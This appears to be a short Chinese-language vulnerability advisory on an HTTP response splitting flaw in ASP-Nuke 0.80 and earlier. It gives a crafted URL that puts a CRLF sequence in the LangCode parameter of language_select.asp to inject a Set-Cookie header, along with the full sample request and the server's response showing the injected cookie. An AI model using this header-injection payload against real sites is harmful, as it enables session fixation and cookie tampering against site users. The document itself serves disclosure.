ASP-Nuke <= 0.80 language_select.aspHTTP响应拆分漏洞

http://www.example.com/module/support/language/language_select.asp?action=go&LangCode=trivero%0d%0aSet-Cookie%3Asome%3Dvalue 以下是HTTP首部示例： 请求： POST /module/support/language/language_select.asp?action=go&LangCode=trivero%0d%0 aSet-Cookie%3Asome%3Dvalue HTTP/1.0 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0) Host: www.aspnuke.com Content-Length: 90 Cookie: ASPSESSIONIDSCRDCDAD=NMDFFFJBFMLBNDNFJDFGAGPP;LANGUAGE=US Connection: Close 响应： HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Sun, 15 May 2005 11:31:37 GMT Pragma: no-cache Location: tran_list.asp?langcode=trivero Set-Cookie: some=value Connection: Keep-Alive Content-Length: 121 Content-Type: text/html Expires: Sun, 15 May 2005 11:30:38 GMT Cache-control: no-cache